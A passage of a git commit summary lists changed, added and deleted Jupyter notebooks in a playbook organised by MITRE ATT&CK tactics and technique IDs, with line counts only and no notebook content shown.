playbook/tactics/impact/T1489.ipynb | 32 +- playbook/tactics/impact/T1490.ipynb | 89 +- playbook/tactics/impact/T1491.001.ipynb | 26 +- playbook/tactics/impact/T1491.002.ipynb | 10 +- playbook/tactics/impact/T1491.ipynb | 12 +- playbook/tactics/impact/T1492.ipynb | 38 - playbook/tactics/impact/T1493.ipynb | 38 - playbook/tactics/impact/T1494.ipynb | 38 - playbook/tactics/impact/T1495.ipynb | 12 +- playbook/tactics/impact/T1496.ipynb | 26 +- playbook/tactics/impact/T1498.001.ipynb | 10 +- playbook/tactics/impact/T1498.002.ipynb | 10 +- playbook/tactics/impact/T1498.ipynb | 12 +- playbook/tactics/impact/T1499.001.ipynb | 10 +- playbook/tactics/impact/T1499.002.ipynb | 10 +- playbook/tactics/impact/T1499.003.ipynb | 10 +- playbook/tactics/impact/T1499.004.ipynb | 10 +- playbook/tactics/impact/T1499.ipynb | 12 +- playbook/tactics/impact/T1529.ipynb | 156 ++- playbook/tactics/impact/T1531.ipynb | 215 +++- playbook/tactics/impact/T1561.001.ipynb | 14 +- playbook/tactics/impact/T1561.002.ipynb | 14 +- playbook/tactics/impact/T1561.ipynb | 14 +- playbook/tactics/impact/T1565.001.ipynb | 10 +- playbook/tactics/impact/T1565.002.ipynb | 10 +- playbook/tactics/impact/T1565.003.ipynb | 10 +- playbook/tactics/impact/T1565.ipynb | 12 +- playbook/tactics/impact/T1657.ipynb | 32 + playbook/tactics/initial-access.ipynb | 10 +- .../tactics/initial-access/T1078.001.ipynb | 61 +- .../tactics/initial-access/T1078.002.ipynb | 10 +- .../tactics/initial-access/T1078.003.ipynb | 322 ++++- .../tactics/initial-access/T1078.004.ipynb | 118 +- playbook/tactics/initial-access/T1078.ipynb | 12 +- playbook/tactics/initial-access/T1091.ipynb | 20 +- playbook/tactics/initial-access/T1133.ipynb | 26 +- playbook/tactics/initial-access/T1189.ipynb | 14 +- playbook/tactics/initial-access/T1190.ipynb | 14 +- playbook/tactics/initial-access/T1192.ipynb | 38 - playbook/tactics/initial-access/T1193.ipynb | 38 - playbook/tactics/initial-access/T1194.ipynb | 38 - .../tactics/initial-access/T1195.001.ipynb | 10 +- .../tactics/initial-access/T1195.002.ipynb | 10 +- .../tactics/initial-access/T1195.003.ipynb | 10 +- playbook/tactics/initial-access/T1195.ipynb | 24 +- playbook/tactics/initial-access/T1199.ipynb | 12 +- playbook/tactics/initial-access/T1200.ipynb | 12 +- .../tactics/initial-access/T1566.001.ipynb | 30 +- .../tactics/initial-access/T1566.002.ipynb | 12 +- .../tactics/initial-access/T1566.003.ipynb | 10 +- .../tactics/initial-access/T1566.004.ipynb | 32 + playbook/tactics/initial-access/T1566.ipynb | 14 +- playbook/tactics/initial-access/T1659.ipynb | 32 + playbook/tactics/lateral-movement.ipynb | 10 +- playbook/tactics/lateral-movement/T1017.ipynb | 38 - .../tactics/lateral-movement/T1021.001.ipynb | 78 +- .../tactics/lateral-movement/T1021.002.ipynb | 34 +- .../tactics/lateral-movement/T1021.003.ipynb | 59 +- .../tactics/lateral-movement/T1021.004.ipynb | 10 +- .../tactics/lateral-movement/T1021.005.ipynb | 47 +- .../tactics/lateral-movement/T1021.006.ipynb | 32 +- .../tactics/lateral-movement/T1021.007.ipynb | 32 + .../tactics/lateral-movement/T1021.008.ipynb | 32 + playbook/tactics/lateral-movement/T1021.ipynb | 14 +- playbook/tactics/lateral-movement/T1028.ipynb | 38 - playbook/tactics/lateral-movement/T1051.ipynb | 38 - playbook/tactics/lateral-movement/T1072.ipynb | 34 +- playbook/tactics/lateral-movement/T1075.ipynb | 38 - playbook/tactics/lateral-movement/T1076.ipynb | 38 - playbook/tactics/lateral-movement/T1077.ipynb | 38 - playbook/tactics/lateral-movement/T1080.ipynb | 12 +- playbook/tactics/lateral-movement/T1091.ipynb | 20 +- playbook/tactics/lateral-movement/T1097.ipynb | 38 - playbook/tactics/lateral-movement/T1175.ipynb | 38 - playbook/tactics/lateral-movement/T1184.ipynb | 38 - playbook/tactics/lateral-movement/T1210.ipynb | 12 +- playbook/tactics/lateral-movement/T1506.ipynb | 38 - playbook/tactics/lateral-movement/T1527.ipynb | 38 - playbook/tactics/lateral-movement/T1534.ipynb | 12 +- .../tactics/lateral-movement/T1550.001.ipynb | 12 +- .../tactics/lateral-movement/T1550.002.ipynb | 30 +- .../tactics/lateral-movement/T1550.003.ipynb | 34 +- .../tactics/lateral-movement/T1550.004.ipynb | 10 +- playbook/tactics/lateral-movement/T1550.ipynb | 12 +- .../tactics/lateral-movement/T1563.001.ipynb | 10 +- .../tactics/lateral-movement/T1563.002.ipynb | 18 +- playbook/tactics/lateral-movement/T1563.ipynb | 12 +- playbook/tactics/lateral-movement/T1570.ipynb | 58 +- playbook/tactics/persistence.ipynb | 10 +- playbook/tactics/persistence/T1004.ipynb | 38 - playbook/tactics/persistence/T1013.ipynb | 38 - playbook/tactics/persistence/T1015.ipynb | 38 - playbook/tactics/persistence/T1019.ipynb | 38 - playbook/tactics/persistence/T1023.ipynb | 38 - playbook/tactics/persistence/T1031.ipynb | 38 - playbook/tactics/persistence/T1034.ipynb | 38 - playbook/tactics/persistence/T1037.001.ipynb | 18 +- playbook/tactics/persistence/T1037.002.ipynb | 12 +- playbook/tactics/persistence/T1037.003.ipynb | 10 +- playbook/tactics/persistence/T1037.004.ipynb | 36 +- playbook/tactics/persistence/T1037.005.ipynb | 18 +- playbook/tactics/persistence/T1037.ipynb | 12 +- playbook/tactics/persistence/T1038.ipynb | 38 - playbook/tactics/persistence/T1042.ipynb | 38 - playbook/tactics/persistence/T1044.ipynb | 38 - playbook/tactics/persistence/T1050.ipynb | 38 - playbook/tactics/persistence/T1053.001.ipynb | 38 - playbook/tactics/persistence/T1053.002.ipynb | 24 +- playbook/tactics/persistence/T1053.003.ipynb | 83 +- playbook/tactics/persistence/T1053.004.ipynb | 38 - playbook/tactics/persistence/T1053.005.ipynb | 143 ++- playbook/tactics/persistence/T1053.006.ipynb | 44 +- playbook/tactics/persistence/T1053.007.ipynb | 30 +- playbook/tactics/persistence/T1053.ipynb | 12 +- playbook/tactics/persistence/T1058.ipynb | 38 - playbook/tactics/persistence/T1060.ipynb | 38 - playbook/tactics/persistence/T1062.ipynb | 38 - playbook/tactics/persistence/T1067.ipynb | 38 - playbook/tactics/persistence/T1078.001.ipynb | 61 +- playbook/tactics/persistence/T1078.002.ipynb | 10 +- playbook/tactics/persistence/T1078.003.ipynb | 322 ++++- playbook/tactics/persistence/T1078.004.ipynb | 118 +- playbook/tactics/persistence/T1078.ipynb | 12 +- playbook/tactics/persistence/T1084.ipynb | 38 - playbook/tactics/persistence/T1098.001.ipynb | 60 +- playbook/tactics/persistence/T1098.002.ipynb | 57 +- playbook/tactics/persistence/T1098.003.ipynb | 104 +- playbook/tactics/persistence/T1098.004.ipynb | 30 +- playbook/tactics/persistence/T1098.005.ipynb | 10 +- playbook/tactics/persistence/T1098.006.ipynb | 32 + playbook/tactics/persistence/T1098.ipynb | 392 +++++- playbook/tactics/persistence/T1100.ipynb | 38 - playbook/tactics/persistence/T1101.ipynb | 38 - playbook/tactics/persistence/T1103.ipynb | 38 - playbook/tactics/persistence/T1108.ipynb | 38 - playbook/tactics/persistence/T1109.ipynb | 38 - playbook/tactics/persistence/T1122.ipynb | 38 - playbook/tactics/persistence/T1128.ipynb | 38 - playbook/tactics/persistence/T1131.ipynb | 38 - playbook/tactics/persistence/T1133.ipynb | 26 +- playbook/tactics/persistence/T1136.001.ipynb | 183 ++- playbook/tactics/persistence/T1136.002.ipynb | 124 +- playbook/tactics/persistence/T1136.003.ipynb | 114 +- playbook/tactics/persistence/T1136.ipynb | 12 +- playbook/tactics/persistence/T1137.001.ipynb | 10 +- playbook/tactics/persistence/T1137.002.ipynb | 22 +- playbook/tactics/persistence/T1137.003.ipynb | 10 +- playbook/tactics/persistence/T1137.004.ipynb | 18 +- playbook/tactics/persistence/T1137.005.ipynb | 10 +- playbook/tactics/persistence/T1137.006.ipynb | 70 +- playbook/tactics/persistence/T1137.ipynb | 20 +- playbook/tactics/persistence/T1138.ipynb | 38 - playbook/tactics/persistence/T1150.ipynb | 38 - playbook/tactics/persistence/T1152.ipynb | 38 - playbook/tactics/persistence/T1154.ipynb | 38 - playbook/tactics/persistence/T1156.ipynb | 38 - playbook/tactics/persistence/T1157.ipynb | 38 - playbook/tactics/persistence/T1158.ipynb | 38 - playbook/tactics/persistence/T1159.ipynb | 38 - playbook/tactics/persistence/T1160.ipynb | 38 - playbook/tactics/persistence/T1161.ipynb | 38 - playbook/tactics/persistence/T1162.ipynb | 38 - playbook/tactics/persistence/T1163.ipynb | 38 - playbook/tactics/persistence/T1164.ipynb | 38 - playbook/tactics/persistence/T1165.ipynb | 38 - playbook/tactics/persistence/T1166.ipynb | 38 - playbook/tactics/persistence/T1168.ipynb | 38 - playbook/tactics/persistence/T1176.ipynb | 61 +- playbook/tactics/persistence/T1177.ipynb | 38 - playbook/tactics/persistence/T1179.ipynb | 38 - playbook/tactics/persistence/T1180.ipynb | 38 - playbook/tactics/persistence/T1182.ipynb | 38 - playbook/tactics/persistence/T1183.ipynb | 38 - playbook/tactics/persistence/T1197.ipynb | 44 +- playbook/tactics/persistence/T1198.ipynb | 38 - playbook/tactics/persistence/T1205.001.ipynb | 10 +- playbook/tactics/persistence/T1205.002.ipynb | 10 +- playbook/tactics/persistence/T1205.ipynb | 12 +- playbook/tactics/persistence/T1209.ipynb | 38 - playbook/tactics/persistence/T1215.ipynb | 38 - playbook/tactics/persistence/T1501.ipynb | 38 - playbook/tactics/persistence/T1504.ipynb | 38 - playbook/tactics/persistence/T1505.001.ipynb | 10 +- playbook/tactics/persistence/T1505.002.ipynb | 22 +- playbook/tactics/persistence/T1505.003.ipynb | 26 +- playbook/tactics/persistence/T1505.004.ipynb | 34 +- playbook/tactics/persistence/T1505.005.ipynb | 82 +- playbook/tactics/persistence/T1505.ipynb | 12 +- playbook/tactics/persistence/T1519.ipynb | 38 - playbook/tactics/persistence/T1525.ipynb | 12 +- playbook/tactics/persistence/T1542.001.ipynb | 10 +- playbook/tactics/persistence/T1542.002.ipynb | 10 +- playbook/tactics/persistence/T1542.003.ipynb | 10 +- playbook/tactics/persistence/T1542.004.ipynb | 10 +- playbook/tactics/persistence/T1542.005.ipynb | 10 +- playbook/tactics/persistence/T1542.ipynb | 12 +- playbook/tactics/persistence/T1543.001.ipynb | 30 +- playbook/tactics/persistence/T1543.002.ipynb | 76 +- playbook/tactics/persistence/T1543.003.ipynb | 103 +- playbook/tactics/persistence/T1543.004.ipynb | 22 +- playbook/tactics/persistence/T1543.ipynb | 12 +- playbook/tactics/persistence/T1546.001.ipynb | 18 +- playbook/tactics/persistence/T1546.002.ipynb | 18 +- playbook/tactics/persistence/T1546.003.ipynb | 42 +- playbook/tactics/persistence/T1546.004.ipynb | 137 +- playbook/tactics/persistence/T1546.005.ipynb | 122 +- playbook/tactics/persistence/T1546.006.ipynb | 10 +- playbook/tactics/persistence/T1546.007.ipynb | 28 +- playbook/tactics/persistence/T1546.008.ipynb | 34 +- playbook/tactics/persistence/T1546.009.ipynb | 26 +- playbook/tactics/persistence/T1546.010.ipynb | 28 +- playbook/tactics/persistence/T1546.011.ipynb | 46 +- playbook/tactics/persistence/T1546.012.ipynb | 34 +- playbook/tactics/persistence/T1546.013.ipynb | 22 +- playbook/tactics/persistence/T1546.014.ipynb | 18 +- playbook/tactics/persistence/T1546.015.ipynb | 58 +- playbook/tactics/persistence/T1546.016.ipynb | 8 +- playbook/tactics/persistence/T1546.ipynb | 61 +- playbook/tactics/persistence/T1547.001.ipynb | 187 +-- playbook/tactics/persistence/T1547.002.ipynb | 20 +- playbook/tactics/persistence/T1547.003.ipynb | 30 +- playbook/tactics/persistence/T1547.004.ipynb | 54 +- playbook/tactics/persistence/T1547.005.ipynb | 69 +- playbook/tactics/persistence/T1547.006.ipynb | 77 +- playbook/tactics/persistence/T1547.007.ipynb | 38 +- playbook/tactics/persistence/T1547.008.ipynb | 26 +- playbook/tactics/persistence/T1547.009.ipynb | 26 +- playbook/tactics/persistence/T1547.010.ipynb | 24 +- playbook/tactics/persistence/T1547.011.ipynb | 38 - playbook/tactics/persistence/T1547.012.ipynb | 49 +- playbook/tactics/persistence/T1547.013.ipynb | 12 +- playbook/tactics/persistence/T1547.014.ipynb | 30 +- playbook/tactics/persistence/T1547.015.ipynb | 30 +- playbook/tactics/persistence/T1547.ipynb | 16 +- playbook/tactics/persistence/T1554.ipynb | 14 +- playbook/tactics/persistence/T1556.001.ipynb | 10 +- playbook/tactics/persistence/T1556.002.ipynb | 28 +- playbook/tactics/persistence/T1556.003.ipynb | 73 +- playbook/tactics/persistence/T1556.004.ipynb | 10 +- playbook/tactics/persistence/T1556.005.ipynb | 10 +- playbook/tactics/persistence/T1556.006.ipynb | 8 +- playbook/tactics/persistence/T1556.007.ipynb | 8 +- playbook/tactics/persistence/T1556.008.ipynb | 32 + playbook/tactics/persistence/T1556.ipynb | 12 +- playbook/tactics/persistence/T1574.001.ipynb | 18 +- playbook/tactics/persistence/T1574.002.ipynb | 40 +- playbook/tactics/persistence/T1574.004.ipynb | 10 +- playbook/tactics/persistence/T1574.005.ipynb | 10 +- playbook/tactics/persistence/T1574.006.ipynb | 42 +- playbook/tactics/persistence/T1574.007.ipynb | 12 +- playbook/tactics/persistence/T1574.008.ipynb | 18 +- playbook/tactics/persistence/T1574.009.ipynb | 20 +- playbook/tactics/persistence/T1574.010.ipynb | 10 +- playbook/tactics/persistence/T1574.011.ipynb | 28 +- playbook/tactics/persistence/T1574.012.ipynb | 58 +- playbook/tactics/persistence/T1574.013.ipynb | 10 +- playbook/tactics/persistence/T1574.ipynb | 12 +- playbook/tactics/persistence/T1653.ipynb | 38 + playbook/tactics/privilege-escalation.ipynb | 10 +- .../tactics/privilege-escalation/T1013.ipynb | 38 - .../tactics/privilege-escalation/T1015.ipynb | 38 - .../tactics/privilege-escalation/T1034.ipynb | 38 - .../privilege-escalation/T1037.001.ipynb | 18 +- .../privilege-escalation/T1037.002.ipynb | 12 +- .../privilege-escalation/T1037.003.ipynb | 10 +- .../privilege-escalation/T1037.004.ipynb | 36 +- .../privilege-escalation/T1037.005.ipynb | 18 +- .../tactics/privilege-escalation/T1037.ipynb | 12 +- .../tactics/privilege-escalation/T1038.ipynb | 38 - .../tactics/privilege-escalation/T1044.ipynb | 38 - .../tactics/privilege-escalation/T1050.ipynb | 38 - .../privilege-escalation/T1053.001.ipynb | 38 - .../privilege-escalation/T1053.002.ipynb | 24 +- .../privilege-escalation/T1053.003.ipynb | 83 +- .../privilege-escalation/T1053.004.ipynb | 38 - .../privilege-escalation/T1053.005.ipynb | 143 ++- .../privilege-escalation/T1053.006.ipynb | 44 +- .../privilege-escalation/T1053.007.ipynb | 30 +- .../tactics/privilege-escalation/T1053.ipynb | 12 +- .../privilege-escalation/T1055.001.ipynb | 26 +- .../privilege-escalation/T1055.002.ipynb | 57 +- .../privilege-escalation/T1055.003.ipynb | 30 +- .../privilege-escalation/T1055.004.ipynb | 92 +- .../privilege-escalation/T1055.005.ipynb | 10 +- .../privilege-escalation/T1055.008.ipynb | 10 +- .../privilege-escalation/T1055.009.ipynb | 10 +- .../privilege-escalation/T1055.011.ipynb | 57 +- .../privilege-escalation/T1055.012.ipynb | 98 +- .../privilege-escalation/T1055.013.ipynb | 10 +- .../privilege-escalation/T1055.014.ipynb | 10 +- .../privilege-escalation/T1055.015.ipynb | 57 +- .../tactics/privilege-escalation/T1055.ipynb | 369 +++++- .../tactics/privilege-escalation/T1058.ipynb | 38 - .../tactics/privilege-escalation/T1068.ipynb | 12 +- .../privilege-escalation/T1078.001.ipynb | 61 +- .../privilege-escalation/T1078.002.ipynb | 10 +- .../privilege-escalation/T1078.003.ipynb | 322 ++++- .../privilege-escalation/T1078.004.ipynb | 118 +- .../tactics/privilege-escalation/T1078.ipynb | 12 +- .../tactics/privilege-escalation/T1088.ipynb | 38 - .../privilege-escalation/T1098.001.ipynb | 173 +++ .../privilege-escalation/T1098.002.ipynb | 83 ++ .../privilege-escalation/T1098.003.ipynb | 128 ++ .../privilege-escalation/T1098.004.ipynb | 73 ++ .../privilege-escalation/T1098.005.ipynb | 32 + .../privilege-escalation/T1098.006.ipynb | 32 + .../tactics/privilege-escalation/T1098.ipynb | 677 ++++++++++ .../tactics/privilege-escalation/T1100.ipynb | 38 - .../tactics/privilege-escalation/T1103.ipynb | 38 - .../privilege-escalation/T1134.001.ipynb | 48 +- .../privilege-escalation/T1134.002.ipynb | 22 +- .../privilege-escalation/T1134.003.ipynb | 12 +- .../privilege-escalation/T1134.004.ipynb | 58 +- .../privilege-escalation/T1134.005.ipynb | 28 +- .../tactics/privilege-escalation/T1134.ipynb | 12 +- .../tactics/privilege-escalation/T1138.ipynb | 38 - .../tactics/privilege-escalation/T1150.ipynb | 38 - .../tactics/privilege-escalation/T1157.ipynb | 38 - .../tactics/privilege-escalation/T1160.ipynb | 38 - .../tactics/privilege-escalation/T1165.ipynb | 38 - .../tactics/privilege-escalation/T1166.ipynb | 38 - .../tactics/privilege-escalation/T1169.ipynb | 38 - .../tactics/privilege-escalation/T1178.ipynb | 38 - .../tactics/privilege-escalation/T1179.ipynb | 38 - .../tactics/privilege-escalation/T1181.ipynb | 38 - .../tactics/privilege-escalation/T1182.ipynb | 38 - .../tactics/privilege-escalation/T1183.ipynb | 38 - .../tactics/privilege-escalation/T1206.ipynb | 38 - .../privilege-escalation/T1484.001.ipynb | 28 +- .../privilege-escalation/T1484.002.ipynb | 22 +- .../tactics/privilege-escalation/T1484.ipynb | 12 +- .../tactics/privilege-escalation/T1502.ipynb | 38 - .../tactics/privilege-escalation/T1504.ipynb | 38 - .../tactics/privilege-escalation/T1514.ipynb | 38 - .../tactics/privilege-escalation/T1519.ipynb | 38 - .../privilege-escalation/T1543.001.ipynb | 30 +- .../privilege-escalation/T1543.002.ipynb | 76 +- .../privilege-escalation/T1543.003.ipynb | 103 +- .../privilege-escalation/T1543.004.ipynb | 22 +- .../tactics/privilege-escalation/T1543.ipynb | 12 +- .../privilege-escalation/T1546.001.ipynb | 18 +- .../privilege-escalation/T1546.002.ipynb | 18 +- .../privilege-escalation/T1546.003.ipynb | 42 +- .../privilege-escalation/T1546.004.ipynb | 137 +- .../privilege-escalation/T1546.005.ipynb | 122 +- .../privilege-escalation/T1546.006.ipynb | 10 +- .../privilege-escalation/T1546.007.ipynb | 28 +- .../privilege-escalation/T1546.008.ipynb | 34 +- .../privilege-escalation/T1546.009.ipynb | 26 +- .../privilege-escalation/T1546.010.ipynb | 28 +- .../privilege-escalation/T1546.011.ipynb | 46 +- .../privilege-escalation/T1546.012.ipynb | 34 +- .../privilege-escalation/T1546.013.ipynb | 22 +- .../privilege-escalation/T1546.014.ipynb | 18 +- .../privilege-escalation/T1546.015.ipynb | 58 +- .../privilege-escalation/T1546.016.ipynb | 8 +- .../tactics/privilege-escalation/T1546.ipynb | 61 +- .../privilege-escalation/T1547.001.ipynb | 187 +-- .../privilege-escalation/T1547.002.ipynb | 20 +- .../privilege-escalation/T1547.003.ipynb | 30 +- .../privilege-escalation/T1547.004.ipynb | 54 +- .../privilege-escalation/T1547.005.ipynb | 69 +- .../privilege-escalation/T1547.006.ipynb | 77 +- .../privilege-escalation/T1547.007.ipynb | 38 +- .../privilege-escalation/T1547.008.ipynb | 26 +- .../privilege-escalation/T1547.009.ipynb | 26 +- .../privilege-escalation/T1547.010.ipynb | 24 +- .../privilege-escalation/T1547.011.ipynb | 38 - .../privilege-escalation/T1547.012.ipynb | 49 +- .../privilege-escalation/T1547.013.ipynb | 12 +- .../privilege-escalation/T1547.014.ipynb | 30 +- .../privilege-escalation/T1547.015.ipynb | 30 +- .../tactics/privilege-escalation/T1547.ipynb | 16 +- .../privilege-escalation/T1548.001.ipynb | 199 ++- .../privilege-escalation/T1548.002.ipynb | 275 ++-- .../privilege-escalation/T1548.003.ipynb | 125 +- .../privilege-escalation/T1548.004.ipynb | 10 +- .../privilege-escalation/T1548.005.ipynb | 32 + .../tactics/privilege-escalation/T1548.ipynb | 12 +- .../privilege-escalation/T1574.001.ipynb | 18 +- .../privilege-escalation/T1574.002.ipynb | 40 +- .../privilege-escalation/T1574.004.ipynb | 10 +- .../privilege-escalation/T1574.005.ipynb | 10 +- .../privilege-escalation/T1574.006.ipynb | 42 +- .../privilege-escalation/T1574.007.ipynb | 12 +- .../privilege-escalation/T1574.008.ipynb | 18 +- .../privilege-escalation/T1574.009.ipynb | 20 +- .../privilege-escalation/T1574.010.ipynb | 10 +- .../privilege-escalation/T1574.011.ipynb | 28 +- .../privilege-escalation/T1574.012.ipynb | 58 +- .../privilege-escalation/T1574.013.ipynb | 10 +- .../tactics/privilege-escalation/T1574.ipynb | 12 +- .../tactics/privilege-escalation/T1611.ipynb | 34 +- requirements.dev.txt | 8 +- test.py | 17 - 943 files changed, 25678 insertions(+), 19169 deletions(-) rename playbook/{_toc.yml => _toc.yaml} (78%) delete mode 100644 playbook/tactics/command-and-control/T1024.ipynb delete mode 100644 playbook/tactics/command-and-control/T1026.ipynb delete mode 100644 playbook/tactics/command-and-control/T1032.ipynb delete mode 100644 playbook/tactics/command-and-control/T1043.ipynb delete mode 100644 playbook/tactics/command-and-control/T1065.ipynb delete mode 100644 playbook/tactics/command-and-control/T1079.ipynb delete mode 100644 playbook/tactics/command-and-control/T1094.ipynb delete mode 100644 playbook/tactics/command-and-control/T1172.ipynb delete mode 100644 playbook/tactics/command-and-control/T1188.ipynb delete mode 100644 playbook/tactics/command-and-control/T1483.ipynb create mode 100644 playbook/tactics/command-and-control/T1659.ipynb delete mode 100644 playbook/tactics/credential-access/T1081.ipynb delete mode 100644 playbook/tactics/credential-access/T1139.ipynb delete mode 100644 playbook/tactics/credential-access/T1141.ipynb delete mode 100644 playbook/tactics/credential-access/T1142.ipynb delete mode 100644 playbook/tactics/credential-access/T1145.ipynb delete mode 100644 playbook/tactics/credential-access/T1167.ipynb delete mode 100644 playbook/tactics/credential-access/T1171.ipynb delete mode 100644 playbook/tactics/credential-access/T1174.ipynb delete mode 100644 playbook/tactics/credential-access/T1179.ipynb delete mode 100644 playbook/tactics/credential-access/T1208.ipynb delete mode 100644 playbook/tactics/credential-access/T1214.ipynb delete mode 100644 playbook/tactics/credential-access/T1503.ipynb delete mode 100644 playbook/tactics/credential-access/T1522.ipynb create mode 100644 playbook/tactics/credential-access/T1552.008.ipynb create mode 100644 playbook/tactics/credential-access/T1555.006.ipynb create mode 100644 playbook/tactics/credential-access/T1556.008.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1009.ipynb create mode 100644 playbook/tactics/defense-evasion/T1027.010.ipynb create mode 100644 playbook/tactics/defense-evasion/T1027.011.ipynb create mode 100644 playbook/tactics/defense-evasion/T1027.012.ipynb create mode 100644 playbook/tactics/defense-evasion/T1036.008.ipynb create mode 100644 playbook/tactics/defense-evasion/T1036.009.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1038.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1045.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1054.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1064.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1066.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1073.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1085.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1088.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1089.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1093.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1096.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1099.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1107.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1108.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1109.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1116.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1117.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1118.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1121.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1122.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1126.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1130.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1143.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1144.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1146.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1147.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1148.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1149.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1150.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1151.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1152.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1158.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1170.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1181.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1183.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1186.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1191.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1196.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1198.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1223.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1500.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1502.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1506.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1527.ipynb delete mode 100644 playbook/tactics/defense-evasion/T1536.ipynb create mode 100644 playbook/tactics/defense-evasion/T1548.005.ipynb create mode 100644 playbook/tactics/defense-evasion/T1556.008.ipynb create mode 100644 playbook/tactics/defense-evasion/T1562.011.ipynb create mode 100644 playbook/tactics/defense-evasion/T1562.012.ipynb create mode 100644 playbook/tactics/defense-evasion/T1564.011.ipynb create mode 100644 playbook/tactics/defense-evasion/T1578.005.ipynb create mode 100644 playbook/tactics/defense-evasion/T1656.ipynb create mode 100644 playbook/tactics/discovery/T1016.002.ipynb delete mode 100644 playbook/tactics/discovery/T1063.ipynb create mode 100644 playbook/tactics/discovery/T1652.ipynb create mode 100644 playbook/tactics/discovery/T1654.ipynb delete mode 100644 playbook/tactics/execution/T1028.ipynb delete mode 100644 playbook/tactics/execution/T1035.ipynb delete mode 100644 playbook/tactics/execution/T1053.001.ipynb delete mode 100644 playbook/tactics/execution/T1053.004.ipynb create mode 100644 playbook/tactics/execution/T1059.009.ipynb delete mode 100644 playbook/tactics/execution/T1061.ipynb delete mode 100644 playbook/tactics/execution/T1064.ipynb delete mode 100644 playbook/tactics/execution/T1085.ipynb delete mode 100644 playbook/tactics/execution/T1086.ipynb delete mode 100644 playbook/tactics/execution/T1117.ipynb delete mode 100644 playbook/tactics/execution/T1118.ipynb delete mode 100644 playbook/tactics/execution/T1121.ipynb delete mode 100644 playbook/tactics/execution/T1151.ipynb delete mode 100644 playbook/tactics/execution/T1152.ipynb delete mode 100644 playbook/tactics/execution/T1153.ipynb delete mode 100644 playbook/tactics/execution/T1154.ipynb delete mode 100644 playbook/tactics/execution/T1155.ipynb delete mode 100644 playbook/tactics/execution/T1168.ipynb delete mode 100644 playbook/tactics/execution/T1170.ipynb delete mode 100644 playbook/tactics/execution/T1173.ipynb delete mode 100644 playbook/tactics/execution/T1175.ipynb delete mode 100644 playbook/tactics/execution/T1177.ipynb delete mode 100644 playbook/tactics/execution/T1191.ipynb delete mode 100644 playbook/tactics/execution/T1196.ipynb delete mode 100644 playbook/tactics/execution/T1223.ipynb create mode 100644 playbook/tactics/execution/T1651.ipynb delete mode 100644 playbook/tactics/exfiltration/T1002.ipynb delete mode 100644 playbook/tactics/exfiltration/T1022.ipynb create mode 100644 playbook/tactics/exfiltration/T1567.003.ipynb create mode 100644 playbook/tactics/exfiltration/T1567.004.ipynb delete mode 100644 playbook/tactics/impact/T1487.ipynb delete mode 100644 playbook/tactics/impact/T1488.ipynb delete mode 100644 playbook/tactics/impact/T1492.ipynb delete mode 100644 playbook/tactics/impact/T1493.ipynb delete mode 100644 playbook/tactics/impact/T1494.ipynb create mode 100644 playbook/tactics/impact/T1657.ipynb delete mode 100644 playbook/tactics/initial-access/T1192.ipynb delete mode 100644 playbook/tactics/initial-access/T1193.ipynb delete mode 100644 playbook/tactics/initial-access/T1194.ipynb create mode 100644 playbook/tactics/initial-access/T1566.004.ipynb create mode 100644 playbook/tactics/initial-access/T1659.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1017.ipynb create mode 100644 playbook/tactics/lateral-movement/T1021.007.ipynb create mode 100644 playbook/tactics/lateral-movement/T1021.008.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1028.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1051.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1075.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1076.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1077.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1097.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1175.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1184.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1506.ipynb delete mode 100644 playbook/tactics/lateral-movement/T1527.ipynb delete mode 100644 playbook/tactics/persistence/T1004.ipynb delete mode 100644 playbook/tactics/persistence/T1013.ipynb delete mode 100644 playbook/tactics/persistence/T1015.ipynb delete mode 100644 playbook/tactics/persistence/T1019.ipynb delete mode 100644 playbook/tactics/persistence/T1023.ipynb 